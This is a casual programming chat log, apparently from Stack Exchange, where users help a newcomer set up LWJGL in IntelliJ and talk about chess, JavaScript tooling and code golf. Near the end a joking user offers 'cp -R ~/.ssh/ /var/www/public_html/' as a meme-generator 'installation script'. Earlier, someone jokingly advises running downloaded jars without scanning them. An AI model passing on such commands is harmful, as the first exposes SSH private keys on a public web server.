« first day (2182 days earlier)      last day (2662 days later) » 

12:00 AM
I haven't checked in on the voting but if primo's HW doesn't win i'm going to be so sad.
 
that moment when you're about to lose and then the opponent sacrifices their queen for no reason
 
12:49 AM
Hello
 
Hi
How did Java work out for you?
 
Uhh it's pretty good
 
Good to hear
 
Trying to make Trees in Java
 
I'm kind of surprised that the processing libraries just work with regular java
 
12:55 AM
Yeah
But I'm not sure if Processing is the right tool, I might have to move to something more advanced (like LWJGL) for making the game
 
@Qwerp-Derp trying to combat deforestation?
 
@DestructibleWatermelon Ayy
 
sudo apt install openjdk-9-jdk-headless
jshell
 
I made a 3d (not really, think doom) maze game with processing
 
I'm working on a project with LWJGL right now.
 
12:57 AM
Should I make an Android app?
 
It really is very simple.
 
@Pavel How long have you been working with Java?
 
A few years
 
That's why
I've been working on Java for 1 day
I don't think "experience with other languages" counts as extra time
 
It's processing, but with boilerplate.
 
12:58 AM
Oh
 
Right?
 
IDK
 
That's what I've heard.
 
I looked at it and it seems OK
@Pavel How hard is making an Android app?
 
From what i know, processing is sorta like a standalone java addon that helps with GUI
I think
 
12:59 AM
Isn't LWJGL basically powerful Processing? It can do more things I think
 
Kind of? You can do more with graphics but less with GUIs.
 
True
 
You probably don't really need the builtin GUI support anyway.
I hear that android development is a massive pain.
 
Haven't done it myself though
IntelliJ comes with the Android SDK, I know that for sure.
 
1:05 AM
Oh
 
On the other hand, it's Java, so you can make it work on basically anything.
Just import some libraries to make use of the phone's features.
 
Yeah
I think I'll just stick with LWJGL for now
So you just download the zip folder, and then do what?
Also what are all of those bindings, can I get rid of them?
 
Same thing you did with processing. Once you extract the zip, 'file->project structure->global libraries'
Wait what bindings
 
In the download page
There's support for OpenGL, OpenCL, OpenAL, etc.
 
Uh, you probably want that.
 
1:09 AM
And other stuff I haven't even heard of (e.g. jemalloc, xxHash)
I think I should just get everything right
 
Most likely you wont use all of it, but it's best not to delete random things.
 
Wait what it's only 32 megs
I thought it would be like a few gigs
 
There's no actual art assets
Buddy, Mathematica is only ten gigs and it has image data for every class of species known to man built in. (Among other things)
 
That's very true
Wait hang on 10 gigs?
That's ridiculously tiny
So I installed everthing, what next?
 
Actually 12 iirc
Extract it to it's own folder
 
1:14 AM
Ah KK
Uh huh and then?
There's a lot of .jar's
 
run all of them
don't inspect or scan
just run them
 
Oh yeah @TrojanByAccident I'm thinking of using LWJGL for the game thing
 
@Qwerp-Derp Alright, looks like I actually am going to learn Java then
 
Don't run all of them, that's a bad idea
 
time to pack away my gps interpreter for now
 
1:17 AM
(My internet borked for a bit there)
File->Project Structure
You add all libraries from there
 
@TrojanByAccident You could work on that, I'll do it myself for a bit
I don't really mind
Just every single library?
 
Nah, it's fine. I'd rather help
 
When you extracted the zip, you put it in it's own folder right?
Presumably called LWJGL or similar?
Add that folder.
 
Yeah
 
Jesus Christ
I can finally see the first word of each tab
this is...
a new experience
 
1:19 AM
I just added the whole folder
 
Awesome.
Now import things as needed
 
Now I need to look at a tutorial yay
 
Remember this for whenever you need to add any library
 
@Pavel Are you writing Sushi in Java?
 
yes
The needlesly OOP way.
There's five classes to run the core of the interpreter.
 
1:23 AM
So how do I get started with downloading this and setting it up
 
I have the best Monokai theme ever
@TrojanByAccident You mean IntelliJ or LWJGL?
 
And which version are we using?
lwjgl
 
Stable, prerelease, or nightly I think was the question
Sorry, release, stable or nightly
 
No, I was wondering the version number
cuz I found a download of 2.9.3
 
1:25 AM
That's wrong
 
I can't access that page :P
 
well crap
uhhh dropbox maybe?
 
/sighs
Qwerp-Derp, which version did you get? Release stable or nightly?
 
Release
 
I'll see if I can download from github
 
1:27 AM
Wait a sec
 
@Pavel Is that a bad choice?
Uhhh also what does @Override do
 
It might not be, but it might also be the wrong version
 
I have 3.1.1 build 16
 
@Qwerp-Derp Anything starting with @ is an annotation and is optional
 
1:29 AM
Oh
So it doesn't affect anything?
Or does it?
 
It affects the autogenerated documentation
Which you won't need most likely
 
@Override indicates that it overrides a method in a super class
If it's in a class you made, it means that you chose a name that's already being used for something and potentially broke something
 
It says it's 3.1.1
 
 
1:31 AM
How big is that?
 
40mb
 
@Mego We had 48 nominations this time. Those would have to posted from several different accounts to prevent problems with serial voting. If posted from one, voting for one entry in each category should be enough to trip up the system.
 
The version on github you'd need to compile manually.
 
@Dennis I thought this was a mantissa
 
1:33 AM
I'm also not convinced downvoting has a place in an election, although I was rooting for the Sidi answer myself.
 
@ConorO'Brien That was literally two weeks ago, how did you find that.
 
@Pavel it became relevant
 
Well, I trust Wolfram Mathworld on most things, but it's best to assume Dennis is just correct.
 
@ConorO'Brien I think he means exponent
 
@ConorO'Brien There are three different definitions of mantissa and I used the fourth one... >_>
 
1:38 AM
@Dennis I see. So the mantissa page is misleading
 
It should have been mantissa and exponent, not coefficient and mantissa. Coefficient and mantissa are synonyms in this case.
 
wait dennis was wrong
 
Serves me right for trying to use CS speak.
 
@Dennis oh wow never knew that you could call the coefficient the mantissa
 
Despite some rumors stating otherwise, I am a normal human being typing with my human hands and thinking with my human brain. Mistakes happen.
4
 
1:41 AM
xkcd.com/1530 <-relevant xkcd
 
unonebox, please
 
Well, I'm definitely not a giant spider.
 
@Dennis /r/totallynotrobots
 
alright, I downloaded the zip. what do I do with it now?
 
1:42 AM
Oh, k.
@TrojanByAccident i.imgur.com/3HpzqSh.png <-Guide for using java libraries
 
@PhiNotPi OK, s is substitute. What does r do?
 
Extract the zip to it's own folder, add the folder
 
@Dennis makes it more Reddit
 
@Pavel to what?
 
Right, Reddit. I keep trying to forget that exists.
 
1:44 AM
@TrojanByAccident Please view the attached tutorial for adding java libraries: i.imgur.com/3HpzqSh.png
 
@Pavel I'm not sure what you mean
 
@Dennis it's a pretty great place filled with terrible people
 
Go to intelliJ.
Press CtrlAltShiftS
 
@Pavel downloading lol
 
Click on 'Libraries'
Click '+'
Add folder
 
1:47 AM
@PhiNotPi the internet, right?
 
@ConorO'Brien Our little corner of it is filled with great people!
 
2:00 AM
ummmm
 
what?
 
I was playing stockfish level 3 and it randomly sacrificed its queen
I won
 
I believe you said this earlier?
 
2:01 AM
that was against a human player in blitz
this is the computer in correspondence
 
2 hours ago, by Destructible Watermelon
that moment when you're about to lose and then the opponent sacrifices their queen for no reason
that?
 
Wait, what app are you using?
 
lichess
website
 
Good thing I have headphones, the CPU fan is on at around ~1.3kRPM currently :P
 
@ConorO'Brien do you know if all JSON.stringify outputs can be guaranteed to be valid JavaScript?
 
2:05 AM
oh, I think i was on track to win so much that it did that because it would delay losing
 
@Downgoat are you using eval >_>
 
Eval doesn't work on many mobiles.
It's Evil
 
it told me I couldn't install intellij without admin access
hell yeah
just did
 
@ATaco Last I checked, it's not just Evil but EVIL
 
2:06 AM
@ConorO'Brien no
I am writing JS transpiler
 
it's valid JS but info may be lost (e.g. symbols)
 
Are you 100% sure like even with encodings and stuff?
 
what do you mean by "encodings and stuff"?
 
Though I guess JavaScript object notation is probably going to always be valid JavaScript object notation
@ConorO'Brien like would JSON.stringify mangle 🐐 or other special characters?
 
mangle boxes?
 
2:09 AM
lol
 
emojis and other unicode surrogates
 
Downgoat is posting Upgoats, "Mods!"
 
There should be a downgoat emoji
Let's write the Unicode Consortium
 
even better: a "down" unicode modified so we can have Downdows, Downcats, Downcucumbers, Downeverything!
 
@Downgoat what specifically are you trying to do? I'd just write your own converter
 
2:12 AM
Yeah that's what I've descided
This is for smushifier
 
for what
 
@ConorO'Brien what is for what? :|
 
what is smushifier
 
It's basically like webpack but better
 
pls no
 
2:16 AM
what is wrong?
 
making js tools in general especially something as depraved as webpack
 
yes but what is wrong
Because node dependencies are handled at runtime. 70% of time is spent compiling the dependencies which is giant slow down
This will make cheddar as fast as Windows Vista hopefully
 
Oh, the horror...
 
Yay system bloat
 
¯\_(ツ)_/¯ Cheddar naturally takes time to age
 
2:26 AM
If it's also as stable as Vista, you're into deep dung.
 
No I mean these stupid JS tools
 
@Dennis I'm about as stable as a goat on the edge of a 90º cliff
@quartata I don't think you are understanding what I am doing
it's nothing like webpack in how it does things
 
React in particular is on the top of my shitlist. Slow as molasses
 
haha, OK
maybe I don't know what real speed is since I code mostly in JS but I mean if you think React is slow you have not seen angular & co. yet
 
I guess I don't understand what this tool does. Doesn't Gulp handle transpiling the ES6 and polyfilling
 
2:41 AM
@Pavel Alright I am very confuse
 
@Qwerp-Derp What happened
 
CMC: What is the shortest stack cats program that ends on a different stack than it started
(From a discussion Wheat Wizard and I were having)
 
@Pavel I need a good tutorial for LWJGL halp
Can you give me link for tutorial?
 
2:47 AM
@WheatWizard *>*<(>)*(<)>*<* (for those too lazy to click the link)
 
@1000000000 (>)*(<)
 
LWJGL is a paper thin layer over OpenGL. Learn OpenGL.
 
@quartata wat no
Way to hard
Not really
But why reinvent the wheel?
Someone has already done the work for you.
 
???
 
I'm in the middle of an argument with my friend, also about LWJGL.
Ignore me
 
2:50 AM
@Pavel Wat why did you type here
Was it accident?
 
ye
 
@Pavel But isn't that outdated
The tutorial
 
Best one I know of. Should still be mostly ok.
 
@1000000000 !I! should work, I believe
 
You know there's an LWJGL wiki right
 
Anyways read the red book first
 
@Sp3000 facepalms totally forgot about I
 
Wait, not quite because of input stack
Just I is fine
Yeah
 
@quartata Red book?
 
OpenGL Programming Guide
 
2:55 AM
@WheatWizard This does not work
 
Screw it I'm going to use Processing
 
Why?
 
3complicated5me
 
@quartata this just concatenates your JS files
 
@Qwerp-Derp It isn't that bad...
@Downgoat That seems like it would be problematic
 
3:00 AM
Why/how?
 
How are you going to handle namespaces and include order
 
@quartata Too much content to absorb my brain is borked
 
Did you read the wiki article Pavel linked?
 
@quartata javascript does not have those
nodejs requires are not like Java's packages or like C includes
 
You have to explicitly export functions outside of a file's own namespace. That's my point
 
3:12 AM
0
A: Sandbox for Proposed Challenges

Mistah FigginsStop walking into walls! code-golf Other tag suggestions? Some text-based roguelikes don't let you walk into walls, and give you your move back if you try to. Why do that when you can make the player move in the closest valid direction? The challenge Write a program of function that, given a ...

 
@quartata Is that properly updated for LWJGL3?
@Pavel That's for LWJGL2
Cause Displays are LWJGL2, and are replaced by GLFW
 
So I just found out Python is not block scoped. My entire life has been a lie.
7
 
See? You know more than I do.
This is ez.
 
@Qwerp-Derp LWJGL3 is weird and kind of unstable
 
@quartata Wat
So should I use it?
Or should I just go with LWJGL2
IDK
I'm very confuse :(
 
3:27 AM
Try both :P (FWIW I'm speaking about 2014's LWJGL3. It may be better now.)
 
0
Q: Looks like one language, runs in two

NO_BOOT_DEVICEWe all know that you can make source code look like a different language with some trickery. However, can you make it so that your source code parses in both languages? Your goal is to have code that looks like one specific language, but runs in two languages. You can assume whoever is readi...

 
Actually it's not that bad
I looked at a tutorial and it's pretty nice
 
3:46 AM
0
A: Sandbox for Proposed Challenges

xnorCompress a maximal discrepancy 2-sequence code-golf kolmogorov-complexity Output this sequence of 1160 symbols. You can use any two distinct characters or values for + and - in any list-like or string-like format. Your code should take at most 5 seconds to run. -++-+--++-++-+--+--++-+--+--++-+-...

 
wat
4:17 AM
anyone want to help me on the native Stack Exchange Chat client?
Probably written in Ruby
 
Nah, can't Ruby.
 
wat
Meh
 
@wat You may find this useful, despite its no longer working due to changes in how auth works (which shouldn't be too hard to fix).
 
wat
Can you Python? @Pavel
@Doorknob Thank you!!
 
I can python, but I can't python well.
 
4:25 AM
@Pavel Python cannot well so I don't think anyone can Python well :P
 
No, I mean I wrote my first class last week.
I generally just dump everything into a .py file without functions or classes
It's pretty bad.
 
To be fair Python is scripting language so that's OK ¯\_(ツ)_/¯
 
@Mego Are the longest cycles in your challenge unique?
 
This is really wierd. Something went wrong with my internet, and I can recieve messages here and in Discord, but not access the internet in any other way
 
4:38 AM
does that answer question :P
 
wat wat?
 
@Dennis I got a different maximum cycle for at least of one them
 
OK, thanks.
 
@quartata Just so you know I am going to hold this against Python forever now :P
 
@Downgoat ...but why? JS is similar.
 
wat
4:53 AM
@Downgoat I'm a meme now
yey
 
@El'endiaStarman it has had let and const for ages now
@wat more of the other way but yay :P
 
wat
@Downgoat a meme is me?
 
This is not an endorsement of "wat" in anyway whatsoever however
 
Downgoat is a meme.
 
4:55 AM
thanks
 
wat
put that in a folder and run makepkg -si
@Pavel
 
Yes?
 
@wat here is my installation script:
 cp -R ~/.ssh/ /var/www/public_html/
put that in a file and run it and it'll install a goat meme generator
trust me
 
wat
Lel.
 
Wait, example usage?
 
wat
4:59 AM
srsly all it does is it makes a script called wat that just basically does echo wat $*
 
@quartata don't tell the goat what? ;P
 

« first day (2182 days earlier)      last day (2662 days later) »